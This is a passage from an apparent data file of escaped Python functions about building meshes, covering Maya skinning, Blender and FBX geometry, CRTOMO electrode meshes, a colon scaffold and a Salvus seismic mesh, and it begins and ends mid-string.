mc.skinCluster (l_joints,\\n mMesh.mNode,\\n tsb=True,\\n bm=2,\\n wd=0,\\n heatmapFalloff = 1,\\n maximumInfluences = 2,\\n normalizeWeights = 1, dropoffRate=5)\\n except Exception,err:\\n log.warning(\\\"|{0}| >> heat map fail: {1}.. | {2}\\\".format(_str_func,format(self.mNode),err))\\n skin = mc.skinCluster (l_joints,\\n mMesh.mNode,\\n tsb=True,\\n bm=0,\\n maximumInfluences = 2,\\n wd=0,\\n normalizeWeights = 1,dropoffRate=10)\\n skin = mc.rename(skin,'{0}_skinCluster'.format(mMesh.p_nameBase))\\\"\\\"\\\"\\n \\n #Reparent\\n for i,mJnt in enumerate(ml_moduleJoints):\\n mJnt.p_parent = md_parents[mJnt]\\n #pprint.pprint(md_parents)\\n if connect and ml_mesh:\\n self.msgList_connect('simpleMesh',ml_mesh) \\n return ml_mesh\",\n \"def CreateDummyUpperDimensionalMesh(self):\\n\\n\\n sys.stdout = open(os.devnull, \\\"w\\\")\\n p = self.InferPolynomialDegree()\\n mesh = Mesh()\\n if self.element_type == \\\"tri\\\":\\n mesh.Parallelepiped(nx=1,ny=1,nz=1, element_type=\\\"tet\\\")\\n mesh.GetHighOrderMesh(p=p)\\n elif self.element_type == \\\"quad\\\":\\n mesh.Parallelepiped(nx=1,ny=1,nz=1, element_type=\\\"hex\\\")\\n mesh.GetHighOrderMesh(p=p)\\n elif self.element_type == \\\"line\\\":\\n mesh.Rectangle(nx=1,ny=1, element_type=\\\"quad\\\")\\n mesh.GetHighOrderMesh(p=p)\\n sys.stdout = sys.__stdout__\\n\\n return mesh\",\n \"def build_mesh(self):\\n vertices = []\\n indices = []\\n step = 10\\n istep = (pi * 2) / float(step)\\n for i in range(step):\\n x = 350 + cos(istep * i) * 100\\n y = 350 + sin(istep * i) * 100\\n vertices.extend([x, y, 0, 0])\\n indices.append(i)\\n return Mesh(vertices=vertices, indices=indices)\",\n \"def meshmaker(self,\\n abmn=None,\\n electrode_spacing=5,\\n elevation_data=None\\n ):\\n\\n dat = abmn\\n mesh_dir = self.mesh_dir\\n mesh_exe_name = self.mesh_exe\\n elev = elevation_data\\n es = electrode_spacing # Electrode spacing\\n\\n # Electrodes x-position\\n\\n extent = int(max(dat.flatten())) # Maximum electrode x-position\\n\\n epx = list(range(0, extent + es, es))\\n\\n epn = 'elec1.dat'\\n epfn = jp(mesh_dir, epn) # Electrode position file\\n\\n with open(epfn, 'w') as elec:\\n [elec.write(str(i + 1) + ' ' + str(i * es) + '\\\\n') for i in range(0, len(epx))]\\n elec.close()\\n\\n # Electrodes elevation\\n\\n fnel = f1d(elev[:, 0], elev[:, 1], kind='cubic',\\n fill_value=\\\"extrapolate\\\") # Interpolation function for the elevation to fill the gaps.\\n elint = list(map(float, list(map(fnel, epx))))\\n\\n evn = 'topo1.dat'\\n evf = jp(mesh_dir, evn) # Electrode elevation file\\n\\n with open(evf, 'w') as elev:\\n [elev.write(str(i * es) + ' ' + str(elint[i]) + '\\\\n') for i in range(0, len(epx))]\\n elev.close()\\n\\n ms_exe_f = jp(mesh_dir, path_leaf(mesh_exe_name))\\n\\n # if not os.path.exists(self.mesh_exe): # Check if the mesh exe files can be found.\\n # if os.path.exists(jp(self.working_dir, path_leaf(mesh_exe_name))):\\n # copyfile(jp(self.working_dir, path_leaf(mesh_exe_name)), ms_exe_f)\\n # else:\\n # print('Can not find mesh executable')\\n\\n if os.path.exists(self.mesh_exe): # Check if the mesh exe files can be found.\\n if not os.path.exists(jp(self.mesh_dir, path_leaf(mesh_exe_name))):\\n copyfile(self.mesh_exe, ms_exe_f)\\n else:\\n print('Can not find mesh executable')\\n self.mesh_exe = ms_exe_f\\n\\n mesh_short = '.\\\\\\\\'\\n epfn = crtomo_file_shortener(ms_exe_f, epfn)\\n evf = crtomo_file_shortener(ms_exe_f, evf)\\n\\n # Writing mesh.in file\\n meshparams = [\\\"{}\\\".format(mesh_short),\\n \\\"{}\\\".format(epfn),\\n \\\"Mesh\\\", \\\"2\\\", \\\"{}\\\".format(evf),\\n \\\"0 0\\\",\\n \\\"0.1 20 0.01 0.05\\\"]\\n\\n meshinf = jp(os.path.dirname(self.mesh_exe), 'mesh.in')\\n\\n with open(meshinf, 'w') as ms:\\n ms.write('\\\\n'.join(meshparams))\\n ms.close()\\n\\n # Running mesh exe file\\n\\n mmdir = jp(mesh_dir, 'Model') # CRTOMO automatically loads the results in a folder called 'Model'\\n\\n try:\\n if not os.path.exists(mmdir):\\n os.makedirs(mmdir)\\n except:\\n pass\\n\\n os.chdir(self.mesh_dir)\\n sp.call([self.mesh_exe]) # Run\\n os.chdir(self.working_dir)\\n\\n msh = datread(jp(mmdir, 'Mesh.msh'))\\n nelem = int(msh[1][1])\\n\\n # Builing final mesh\\n\\n # 1 - Where there are 4 columns, move them to the right and add a column beginning by 1 incrementing by 1\\n # each line.\\n\\n nc = [len(e) for e in msh]\\n\\n cidx1 = nc.index(4) # Beginning of 4 columns\\n b1 = nc.index(2) # End of 4 columns when 2 columns appear\\n [msh[i].insert(0, i + 1 - cidx1) for i in range(cidx1, b1)]\\n\\n # 2 - Where's there's one column, take it and place it on the right of the two previous one. Move the three\\n # of them to the right and add a new column like step 1.\\n\\n l1 = [i for i, x in enumerate(nc) if x == 1] # Index of rows of length 1\\n cidx2 = l1[0]\\n b2 = l1[-1]\\n\\n l2 = [i for i, x in enumerate(nc) if x == 2] # Index of rows of length 2\\n cidx3 = l2[0]\\n b3 = l2[-1]\\n\\n for i in range(len(l2)):\\n msh[l2[i]] += msh[l1[i]] # Inserting column\\n\\n [msh[l2[i]].insert(0, int(i + 1)) for i in range(len(l2))] # Inserting column 1 2 3 ...\\n\\n msh = np.delete(msh, l1) # Deleting column\\n\\n nc2 = [len(e) for e in msh] # New len array\\n\\n l5 = [i for i, x in enumerate(nc2) if x == 5] # Index of rows of length 5\\n l5.pop(0) # First element = header, not necessary\\n for j in range(len(l5)): # Adding columns as required\\n msh[l5[j]] += ['T', 'T', 'T', 'T', int(10 + j), 'T', int(2 + j), 'T']\\n\\n adj = [msh[l5[i]][1:5] for i in range(len(l5))] # Preparing 'adj' file\\n adj = np.array([list(map(int, a)) for a in adj])\\n\\n print('neighbourg process begins, there are {} elements'.format(nelem))\\n\\n adji = [Neighbourgs(adj, i) for i in range(nelem)]\\n\\n print('neighbourg process over')\\n\\n for j in range(len(l5)): # Adding columns as required\\n msh[l5[j]] += list(map(str, adji[j]))\\n\\n # Export final mesh\\n\\n mesh_file_name = jp(mesh_dir, 'Mesh.dat') # Export Mesh.msh as Mesh.dat and Mesh.elc as elec.dat\\n\\n meshdat = '\\\\n'.join(['\\\\t'.join(list(map(str, l))) for l in msh])\\n\\n with open(mesh_file_name, 'w') as md:\\n md.write(meshdat)\\n md.close()\\n\\n elec_file_name = jp(mesh_dir, 'elec.dat') #\\n\\n copyfile(jp(mmdir, 'Mesh.elc'), elec_file_name) # Mesh.elc -> elec.dat\\n\\n print('mesh generated')\",\n \"def create_meshregion_component(\\n self, scale_factor=1.0, name=\\\"Component_Region\\\", restore_padding_values=[50, 50, 50, 50, 50, 50]\\n ):\\n self.modeler.edit_region_dimensions([0, 0, 0, 0, 0, 0])\\n\\n verticesID = self.modeler.oeditor.GetVertexIDsFromObject(\\\"Region\\\")\\n\\n x_values = []\\n y_values = []\\n z_values = []\\n\\n for id in verticesID:\\n tmp = self.modeler.oeditor.GetVertexPosition(id)\\n x_values.append(tmp[0])\\n y_values.append(tmp[1])\\n z_values.append(tmp[2])\\n\\n scale_factor = scale_factor - 1\\n delta_x = (float(max(x_values)) - float(min(x_values))) * scale_factor\\n x_max = float(max(x_values)) + delta_x / 2.0\\n x_min = float(min(x_values)) - delta_x / 2.0\\n\\n delta_y = (float(max(y_values)) - float(min(y_values))) * scale_factor\\n y_max = float(max(y_values)) + delta_y / 2.0\\n y_min = float(min(y_values)) - delta_y / 2.0\\n\\n delta_z = (float(max(z_values)) - float(min(z_values))) * scale_factor\\n z_max = float(max(z_values)) + delta_z / 2.0\\n z_min = float(min(z_values)) - delta_z / 2.0\\n\\n dis_x = str(float(x_max) - float(x_min))\\n dis_y = str(float(y_max) - float(y_min))\\n dis_z = str(float(z_max) - float(z_min))\\n\\n min_position = self.modeler.Position(str(x_min) + \\\"mm\\\", str(y_min) + \\\"mm\\\", str(z_min) + \\\"mm\\\")\\n mesh_box = self.modeler.primitives.create_box(min_position, [dis_x + \\\"mm\\\", dis_y + \\\"mm\\\", dis_z + \\\"mm\\\"], name)\\n\\n self.modeler.primitives[name].model = False\\n\\n self.modeler.edit_region_dimensions(restore_padding_values)\\n return dis_x, dis_y, dis_z\",\n \"def generate_guide_mesh():\\n verts = [[0.0, 0.0, 0.0], [-0.01, -0.01, 0.1], [-0.01, 0.01, 0.1], [0.01, -0.01, 0.1], [0.01, 0.01, 0.1], [-0.03, -0.03, 0.1], [-0.03, 0.03, 0.1], [0.03, 0.03, 0.1], [0.03, -0.03, 0.1], [-0.01, -0.01, 0.2], [-0.01, 0.01, 0.2], [0.01, -0.01, 0.2], [0.01, 0.01, 0.2]]\\n edges = [[0, 5], [5, 6], [6, 7], [7, 8], [8, 5], [1, 2], [2, 4], [4, 3], [3, 1], [5, 1], [2, 6], [4, 7], [3, 8], [9, 10], [10, 12], [12, 11], [11, 9], [3, 11], [9, 1], [2, 10], [12, 4], [6, 0], [7, 0], [8, 0]]\\n faces = [[0, 5, 6], [0, 6, 7], [0, 7, 8], [0, 8, 5], [1, 3, 11, 9], [1, 2, 6, 5], [2, 4, 7, 6], [4, 3, 8, 7], [3, 1, 5, 8], [12, 10, 9, 11], [4, 2, 10, 12], [3, 4, 12, 11], [2, 1, 9, 10]]\\n name = 'ModelingClothPinGuide'\\n if 'ModelingClothPinGuide' in bpy.data.objects:\\n mesh_ob = bpy.data.objects['ModelingClothPinGuide']\\n else: \\n mesh = bpy.data.meshes.new('ModelingClothPinGuide')\\n mesh.from_pydata(verts, edges, faces) \\n mesh.update()\\n mesh_ob = bpy.data.objects.new(name, mesh)\\n bpy.context.scene.objects.link(mesh_ob)\\n mesh_ob.show_x_ray = True\\n return mesh_ob\",\n \"def createMesh(objname,Vert,Edges=[],Faces=[]):\\n me = bpy.data.meshes.new(objname)\\n ob = bpy.data.objects.new(objname,me)\\n bpy.context.scene.objects.link(ob)\\n \\n me.from_pydata(Vert,Edges,Faces)\\n me.update(calc_edges=True)\",\n \"def add_mesh_to_scene(sdk, scene, mesh, contentid):\\n global n\\n name = contentid+\\\"_\\\"+str(n)\\n n+=1\\n # Todo: pass scene instead?\\n fbx_mesh = FbxMesh.Create(sdk, name)\\n fbx_mesh.CreateLayer()\\n layer0 = fbx_mesh.GetLayer(0)\\n\\n # Verts\\n\\n fbx_mesh.InitControlPoints(len(mesh.v))\\n if RELOCATE_BRUSHES is True:\\n print mesh.v\\n #MM TRANSLATE BRUSHES\\n filler=(0,0,0)\\n newmeshv=[]\\n for i, v in enumerate(mesh.v):\\n if i==0:\\n reference=v\\n newmeshv.append(filler)\\n else:\\n newmeshv.append(tuple(numpy.subtract(v,reference)))\\n print newmeshv\\n mesh.v=newmeshv\\n \\n for i, v in enumerate(mesh.v):\\n fbx_mesh.SetControlPointAt(as_fvec4(v, scale=100), i)\\n\\n layer_elt = create_fbx_layer(\\n fbx_mesh, mesh.n, as_fvec4, FbxLayerElementNormal)\\n if layer_elt is not None:\\n layer0.SetNormals(layer_elt)\\n\\n layer_elt = create_fbx_layer(\\n fbx_mesh, mesh.c, as_fcolor, FbxLayerElementVertexColor,\\n allow_index = True,\\n allow_allsame = True)\\n if layer_elt is not None:\\n layer0.SetVertexColors(layer_elt)\\n\\n # Tilt Brush may have 3- or 4-element UV channels, and may have multiple\\n # UV channels. This only handles the standard case of 2-component UVs\\n layer_elt = create_fbx_layer(\\n fbx_mesh, mesh.uv0, as_fvec2, FbxLayerElementUV,\\n allow_index = True)\\n if layer_elt is not None:\\n layer0.SetUVs(layer_elt, FbxLayerElement.eTextureDiffuse)\\n pass\\n\\n layer_elt = create_fbx_layer(\\n fbx_mesh, mesh.t, as_fvec4, FbxLayerElementTangent,\\n allow_index = True)\\n if layer_elt is not None:\\n layer0.SetTangents(layer_elt)\\n\\n # Unity's FBX import requires Binormals to be present in order to import the\\n # tangents but doesn't actually use them, so we just output some dummy data.\\n layer_elt = create_fbx_layer(\\n fbx_mesh, ((0, 0, 0, 0),), as_fvec4, FbxLayerElementBinormal,\\n allow_allsame = True)\\n if layer_elt is not None:\\n layer0.SetBinormals(layer_elt)\\n\\n layer_elt = create_fbx_layer(\\n fbx_mesh, (), lambda x: x, FbxLayerElementMaterial, allow_allsame = True)\\n if layer_elt is not None:\\n layer0.SetMaterials(layer_elt)\\n\\n # Polygons\\n\\n for triplet in mesh.tri:\\n fbx_mesh.BeginPolygon(-1, -1, False)\\n fbx_mesh.AddPolygon(triplet[0])\\n fbx_mesh.AddPolygon(triplet[1])\\n fbx_mesh.AddPolygon(triplet[2])\\n fbx_mesh.EndPolygon()\\n\\n material = FbxSurfaceLambert.Create(sdk, mesh.brush_name)\\n name=mesh.brush_name+\\\"_\\\"+str(mesh.c[0])+\\\"_\\\"+name\\n \\n if EXPORT_BRUSH_AREA is True:\\n ps=[]\\n for t in mesh.v:\\n ps.append(list(t))\\n #ps2=[]\\n #for t in mesh.t:\\n # ps2.append(list(t[0:3])) \\n # print len(mesh.tri)\\n #print len(mesh.v)\\n #print ps\\n print name+\\\",\\\"+str(poly_area(ps))\\n #print poly_area(ps2)\\n #poly = [[0, 3, 1], [0, 2, 3], [2, 5, 3], [2, 4, 5], [4, 7, 5], [4, 6, 7], [6, 9, 7], [6, 8, 9], [8, 11, 9], [8, 10, 11], [10, 13, 11], [10, 12, 13], [12, 15, 13], [12, 14, 15]]\\n #print poly_area(poly) \\n global polyareadata\\n polyareadata.append(name+\\\",\\\"+str(poly_area(ps)))\\n \\n print name\\n mm_save_mesh_metadata(name,mesh)\\n #print mesh.brush_name #Roughly analagous to a material\\n #print mesh.brush_guid\\n #print mesh.v #list of positions (3-tuples)\\n #print mesh.n #list of normals (3-tuples, or None if missing)\\n #print mesh.uv0 #list of uv0 (2-, 3-, 4-tuples, or None if missing)\\n #print mesh.uv1 #see uv0\\n #print mesh.c #list of colors, as a uint32. abgr little-endian, rgba big-endian\\n #print mesh.t #list of tangents (4-tuples, or None if missing)\\n #print mesh.tri #list of triangles (3-tuples of ints)\\n \\n # Node tree\\n\\n root = scene.GetRootNode()\\n node = FbxNode.Create(sdk, name)\\n node.SetNodeAttribute(fbx_mesh)\\n node.AddMaterial(material)\\n node.SetShadingMode(FbxNode.eTextureShading) # Hmm\\n root.AddChild(node)\",\n \"def generateBaseMesh(cls, region, options):\\n centralPath = options['Central path']\\n segmentProfile = options['Segment profile']\\n segmentCount = options['Number of segments']\\n startPhase = options['Start phase'] % 360.0\\n proximalLength = options['Proximal length']\\n transverseLength = options['Transverse length']\\n proximalInnerRadius = options['Proximal inner radius']\\n proximalTCWidth = options['Proximal tenia coli width']\\n proximalTransverseInnerRadius = options['Proximal-transverse inner radius']\\n proximalTransverseTCWidth = options['Proximal-transverse tenia coli width']\\n transverseDistalInnerRadius = options['Transverse-distal inner radius']\\n transverseDistalTCWidth = options['Transverse-distal tenia coli width']\\n distalInnerRadius = options['Distal inner radius']\\n distalTCWidth = options['Distal tenia coli width']\\n segmentSettings = segmentProfile.getScaffoldSettings()\\n\\n elementsCountAroundTC = segmentSettings['Number of elements around tenia coli']\\n elementsCountAroundHaustrum = segmentSettings['Number of elements around haustrum']\\n cornerInnerRadiusFactor = segmentSettings['Corner inner radius factor']\\n haustrumInnerRadiusFactor = segmentSettings['Haustrum inner radius factor']\\n segmentLengthEndDerivativeFactor = segmentSettings['Segment length end derivative factor']\\n segmentLengthMidDerivativeFactor = segmentSettings['Segment length mid derivative factor']\\n tcCount = segmentSettings['Number of tenia coli']\\n tcThickness = segmentSettings['Tenia coli thickness']\\n elementsCountAround = (elementsCountAroundTC + elementsCountAroundHaustrum) * tcCount\\n\\n elementsCountAlongSegment = segmentSettings['Number of elements along segment']\\n elementsCountThroughWall = segmentSettings['Number of elements through wall']\\n wallThickness = segmentSettings['Wall thickness']\\n mucosaRelThickness = segmentSettings['Mucosa relative thickness']\\n submucosaRelThickness = segmentSettings['Submucosa relative thickness']\\n circularRelThickness = segmentSettings['Circular muscle layer relative thickness']\\n longitudinalRelThickness = segmentSettings['Longitudinal muscle layer relative thickness']\\n useCrossDerivatives = segmentSettings['Use cross derivatives']\\n useCubicHermiteThroughWall = not (segmentSettings['Use linear through wall'])\\n elementsCountAlong = int(elementsCountAlongSegment * segmentCount)\\n\\n # Colon coordinates\\n lengthToDiameterRatio = 24\\n wallThicknessToDiameterRatio = 0.1\\n teniaColiThicknessToDiameterRatio = 0.25 * wallThicknessToDiameterRatio\\n relativeThicknessListColonCoordinates = [1.0 / elementsCountThroughWall for n3 in range(elementsCountThroughWall)]\\n\\n firstNodeIdentifier = 1\\n firstElementIdentifier = 1\\n\\n # Central path\\n tmpRegion = region.createRegion()\\n centralPath.generate(tmpRegion)\\n cx, cd1, cd2, cd12 = extractPathParametersFromRegion(tmpRegion,\\n [Node.VALUE_LABEL_VALUE, Node.VALUE_LABEL_D_DS1,\\n Node.VALUE_LABEL_D_DS2, Node.VALUE_LABEL_D2_DS1DS2])\\n # for i in range(len(cx)):\\n # print(i, '[', cx[i], ',', cd1[i], ',', cd2[i], ',', cd12[i], '],')\\n del tmpRegion\\n\\n # find arclength of colon\\n length = 0.0\\n elementsCountIn = len(cx) - 1\\n sd1 = interp.smoothCubicHermiteDerivativesLine(cx, cd1, fixAllDirections=True,\\n magnitudeScalingMode=interp.DerivativeScalingMode.HARMONIC_MEAN)\\n for e in range(elementsCountIn):\\n arcLength = interp.getCubicHermiteArcLength(cx[e], sd1[e], cx[e + 1], sd1[e + 1])\\n # print(e+1, arcLength)\\n length += arcLength\\n segmentLength = length / segmentCount\\n # print('Length = ', length)\\n elementAlongLength = length / elementsCountAlong\\n\\n # Sample central path\\n sx, sd1, se, sxi, ssf = interp.sampleCubicHermiteCurves(cx, cd1, elementsCountAlong)\\n sd2, sd12 = interp.interpolateSampleCubicHermite(cd2, cd12, se, sxi, ssf)\\n\\n # Generate variation of radius & tc width along length\\n lengthList = [0.0, proximalLength, proximalLength + transverseLength, length]\\n innerRadiusList = [proximalInnerRadius, proximalTransverseInnerRadius,\\n transverseDistalInnerRadius, distalInnerRadius]\\n innerRadiusAlongElementList, dInnerRadiusAlongElementList = interp.sampleParameterAlongLine(lengthList,\\n innerRadiusList,\\n elementsCountAlong)\\n\\n tcWidthList = [proximalTCWidth, proximalTransverseTCWidth, transverseDistalTCWidth, distalTCWidth]\\n tcWidthAlongElementList, dTCWidthAlongElementList = interp.sampleParameterAlongLine(lengthList,\\n tcWidthList,\\n elementsCountAlong)\\n\\n # Account for reduced haustrum appearance in transverse and distal pig colon\\n if tcCount == 2:\\n haustrumInnerRadiusFactorList = [haustrumInnerRadiusFactor, haustrumInnerRadiusFactor * 0.75,\\n haustrumInnerRadiusFactor * 0.5, haustrumInnerRadiusFactor * 0.2]\\n haustrumInnerRadiusFactorAlongElementList = \\\\\\n interp.sampleParameterAlongLine(lengthList, haustrumInnerRadiusFactorList, elementsCountAlong)[0]\\n else:\\n haustrumInnerRadiusFactorAlongElementList = [haustrumInnerRadiusFactor] * (elementsCountAlong + 1)\\n\\n # Create annotation groups for colon sections\\n elementsAlongInProximal = round(proximalLength / elementAlongLength)\\n elementsAlongInTransverse = round(transverseLength / elementAlongLength)\\n elementsAlongInDistal = elementsCountAlong - elementsAlongInProximal - elementsAlongInTransverse\\n elementsCountAlongGroups = [elementsAlongInProximal, elementsAlongInTransverse, elementsAlongInDistal]\\n\\n colonGroup = AnnotationGroup(region, get_colon_term(\\\"colon\\\"))\\n\\n if tcCount == 1:\\n proximalGroup = AnnotationGroup(region, get_colon_term(\\\"proximal colon\\\"))\\n transverseGroup = AnnotationGroup(region, get_colon_term(\\\"transverse colon\\\"))\\n distalGroup = AnnotationGroup(region, get_colon_term(\\\"distal colon\\\"))\\n annotationGroupAlong = [[colonGroup, proximalGroup],\\n [colonGroup, transverseGroup],\\n [colonGroup, distalGroup]]\\n\\n elif tcCount == 2:\\n spiralGroup = AnnotationGroup(region, get_colon_term(\\\"spiral colon\\\"))\\n transverseGroup = AnnotationGroup(region, get_colon_term(\\\"transverse colon\\\"))\\n distalGroup = AnnotationGroup(region, get_colon_term(\\\"distal colon\\\"))\\n annotationGroupAlong = [[colonGroup, spiralGroup],\\n [colonGroup, transverseGroup],\\n [colonGroup, distalGroup]]\\n\\n elif tcCount == 3:\\n ascendingGroup = AnnotationGroup(region, get_colon_term(\\\"ascending colon\\\"))\\n transverseGroup = AnnotationGroup(region, get_colon_term(\\\"transverse colon\\\"))\\n descendingGroup = AnnotationGroup(region, get_colon_term(\\\"descending colon\\\"))\\n annotationGroupAlong = [[colonGroup, ascendingGroup],\\n [colonGroup, transverseGroup],\\n [colonGroup, descendingGroup]]\\n\\n annotationGroupsAlong = []\\n for i in range(len(elementsCountAlongGroups)):\\n elementsCount = elementsCountAlongGroups[i]\\n for n in range(elementsCount):\\n annotationGroupsAlong.append(annotationGroupAlong[i])\\n\\n xExtrude = []\\n d1Extrude = []\\n d2Extrude = []\\n d3UnitExtrude = []\\n sxRefExtrudeList = []\\n\\n if elementsCountThroughWall == 1:\\n relativeThicknessList = [1.0]\\n annotationGroupsThroughWall = [[]]\\n else:\\n relativeThicknessList = [mucosaRelThickness, submucosaRelThickness,\\n circularRelThickness, longitudinalRelThickness]\\n mucosaGroup = AnnotationGroup(region, get_colon_term(\\\"colonic mucosa\\\"))\\n submucosaGroup = AnnotationGroup(region, get_colon_term(\\\"submucosa of colon\\\"))\\n circularMuscleGroup = AnnotationGroup(region, get_colon_term(\\\"circular muscle layer of colon\\\"))\\n longitudinalMuscleGroup = AnnotationGroup(region, get_colon_term(\\\"longitudinal muscle layer of colon\\\"))\\n annotationGroupsThroughWall = [[mucosaGroup], [submucosaGroup],\\n [circularMuscleGroup], [longitudinalMuscleGroup]]\\n\\n # Create object\\n colonSegmentTubeMeshInnerPoints = ColonSegmentTubeMeshInnerPoints(\\n region, elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlongSegment,\\n tcCount, segmentLengthEndDerivativeFactor, segmentLengthMidDerivativeFactor,\\n segmentLength, wallThickness, cornerInnerRadiusFactor, haustrumInnerRadiusFactorAlongElementList,\\n innerRadiusAlongElementList, dInnerRadiusAlongElementList, tcWidthAlongElementList,\\n startPhase)\\n\\n for nSegment in range(segmentCount):\\n # Create inner points\\n xInner, d1Inner, d2Inner, transitElementList, segmentAxis, annotationGroupsAround \\\\\\n = colonSegmentTubeMeshInnerPoints.getColonSegmentTubeMeshInnerPoints(nSegment)\\n\\n # Project reference point for warping onto central path\\n start = nSegment * elementsCountAlongSegment\\n end = (nSegment + 1) * elementsCountAlongSegment + 1\\n sxRefList, sd1RefList, sd2ProjectedListRef, zRefList = \\\\\\n tubemesh.getPlaneProjectionOnCentralPath(xInner, elementsCountAround, elementsCountAlongSegment,\\n segmentLength, sx[start:end], sd1[start:end], sd2[start:end],\\n sd12[start:end])\\n\\n # Warp segment points\\n xWarpedList, d1WarpedList, d2WarpedList, d3WarpedUnitList = tubemesh.warpSegmentPoints(\\n xInner, d1Inner, d2Inner, segmentAxis, sxRefList, sd1RefList, sd2ProjectedListRef,\\n elementsCountAround, elementsCountAlongSegment, zRefList, innerRadiusAlongElementList[start:end],\\n closedProximalEnd=False)\\n\\n # Store points along length\\n xExtrude += xWarpedList if nSegment == 0 else xWarpedList[elementsCountAround:]\\n d1Extrude += d1WarpedList if nSegment == 0 else d1WarpedList[elementsCountAround:]\\n d2Extrude += d2WarpedList if nSegment == 0 else d2WarpedList[elementsCountAround:]\\n d3UnitExtrude += d3WarpedUnitList if nSegment == 0 else d3WarpedUnitList[elementsCountAround:]\\n sxRefExtrudeList += sxRefList if nSegment == 0 else sxRefList[elementsCountAround:]\\n\\n contractedWallThicknessList = colonSegmentTubeMeshInnerPoints.getContractedWallThicknessList()\\n\\n # Create coordinates and derivatives\\n xList, d1List, d2List, d3List, curvatureList = tubemesh.getCoordinatesFromInner(xExtrude, d1Extrude,\\n d2Extrude, d3UnitExtrude, contractedWallThicknessList, relativeThicknessList,\\n elementsCountAround, elementsCountAlong, elementsCountThroughWall, transitElementList)\\n\\n relaxedLengthList, xiList = colonSegmentTubeMeshInnerPoints.getRelaxedLengthAndXiList()\\n\\n closedProximalEnd = False\\n\\n if tcThickness > 0:\\n tubeTCWidthList = colonSegmentTubeMeshInnerPoints.getTubeTCWidthList()\\n xList, d1List, d2List, d3List, annotationArrayAround = getTeniaColi(\\n region, xList, d1List, d2List, d3List, curvatureList, tcCount, elementsCountAroundTC,\\n elementsCountAroundHaustrum, elementsCountAlong, elementsCountThroughWall,\\n tubeTCWidthList, tcThickness, sxRefExtrudeList, annotationGroupsAround,\\n closedProximalEnd)\\n\\n # Create flat coordinates\\n xFlat, d1Flat, d2Flat = createFlatCoordinatesTeniaColi(\\n xiList, relaxedLengthList, length, wallThickness, relativeThicknessList, tcCount, tcThickness,\\n elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlong,\\n elementsCountThroughWall, transitElementList, closedProximalEnd)\\n\\n # Create colon coordinates\\n xColon, d1Colon, d2Colon = createColonCoordinatesTeniaColi(xiList, relativeThicknessListColonCoordinates,\\n lengthToDiameterRatio,\\n wallThicknessToDiameterRatio,\\n teniaColiThicknessToDiameterRatio, tcCount,\\n elementsCountAroundTC,\\n elementsCountAroundHaustrum,\\n elementsCountAlong, elementsCountThroughWall,\\n transitElementList, closedProximalEnd)\\n\\n # Create nodes and elements\\n nextNodeIdentifier, nextElementIdentifier, annotationGroups = createNodesAndElementsTeniaColi(\\n region, xList, d1List, d2List, d3List, xFlat, d1Flat, d2Flat, xColon, d1Colon, d2Colon,\\n \\\"colon coordinates\\\", elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlong,\\n elementsCountThroughWall, tcCount, annotationGroupsAround, annotationGroupsAlong,\\n annotationGroupsThroughWall, firstNodeIdentifier, firstElementIdentifier, useCubicHermiteThroughWall,\\n useCrossDerivatives, closedProximalEnd)\\n\\n else:\\n # Create flat coordinates\\n xFlat, d1Flat, d2Flat = tubemesh.createFlatCoordinates(\\n xiList, relaxedLengthList, length, wallThickness, relativeThicknessList, elementsCountAround,\\n elementsCountAlong, elementsCountThroughWall, transitElementList)\\n\\n # Create colon coordinates\\n xColon, d1Colon, d2Colon = tubemesh.createOrganCoordinates(xiList, relativeThicknessListColonCoordinates,\\n lengthToDiameterRatio,\\n wallThicknessToDiameterRatio,\\n elementsCountAround,\\n elementsCountAlong, elementsCountThroughWall,\\n transitElementList)\\n\\n # Create nodes and elements\\n nextNodeIdentifier, nextElementIdentifier, annotationGroups = tubemesh.createNodesAndElements(\\n region, xList, d1List, d2List, d3List, xFlat, d1Flat, d2Flat, xColon, d1Colon, d2Colon,\\n \\\"colon coordinates\\\", elementsCountAround, elementsCountAlong, elementsCountThroughWall,\\n annotationGroupsAround, annotationGroupsAlong, annotationGroupsThroughWall,\\n firstNodeIdentifier, firstElementIdentifier, useCubicHermiteThroughWall, useCrossDerivatives,\\n closedProximalEnd)\\n\\n return annotationGroups\",\n \"def create_mesh(self, event: str):\\n\\n from salvus.mesh.simple_mesh import SmoothieSEM\\n\\n source_info = self.comm.lasif.get_source(event_name=event)\\n if isinstance(source_info, list):\\n source_info = source_info[0]\\n sm = SmoothieSEM()\\n sm.basic.model = \\\"prem_ani_one_crust\\\"\\n sm.basic.min_period_in_seconds = self.comm.project.min_period\\n sm.basic.elements_per_wavelength = 1.7\\n sm.basic.number_of_lateral_elements = self.comm.project.elem_per_quarter\\n sm.advanced.tensor_order = 4\\n if self.comm.project.ellipticity:\\n sm.spherical.ellipticity = 0.0033528106647474805\\n if self.comm.project.ocean_loading[\\\"use\\\"]:\\n sm.ocean.bathymetry_file = self.comm.project.ocean_loading[\\\"file\\\"]\\n sm.ocean.bathymetry_varname = self.comm.project.ocean_loading[\\\"variable\\\"]\\n sm.ocean.ocean_layer_style = \\\"loading\\\"\\n sm.ocean.ocean_layer_density = 1025.0\\n if self.comm.project.topography[\\\"use\\\"]:\\n sm.topography.topography_file = self.comm.project.topography[\\\"file\\\"]\\n sm.topography.topography_varname = self.comm.project.topography[\\\"variable\\\"]\\n sm.source.latitude = source_info[\\\"latitude\\\"]\\n sm.source.longitude = source_info[\\\"longitude\\\"]\\n sm.refinement.lateral_refinements.append(\\n {\\\"theta_min\\\": 40.0, \\\"theta_max\\\": 140.0, \\\"r_min\\\": 6250.0}\\n )\\n m = sm.create_mesh()\\n mesh_file = self.event_meshes / event / \\\"mesh.h5\\\"\\n if not os.path.exists(os.path.dirname(mesh_file)):\\n os.makedirs(os.path.dirname(mesh_file))\\n m.write_h5(mesh_file)\",\n \"def add_lattice(): \\n # Switch in object mode\\n bpy.ops.object.mode_set(mode='OBJECT') \\n \\n # Get the active object\\n obj = bpy.context.active_object\\n \\n # Check if there is a lattice object\\n flagLattice = False\\n for o in bpy.data.objects:\\n if o.type == 'LATTICE':\\n flagLattice = True\\n \\n # Add a lattice if there is not\\n if flagLattice == False:\\n # Get the name of the object\\n nameObject = obj.name\\n \\n # Add the lattice\\n bpy.ops.object.add(type='LATTICE', enter_editmode=False, align='WORLD', location=(0, 0, 0), scale=(1, 1, 1))\\n \\n # Select the object\\n bpy.context.view_layer.objects.active = bpy.data.objects[nameObject]\\n bpy.data.objects[nameObject].select_set(True)\\n 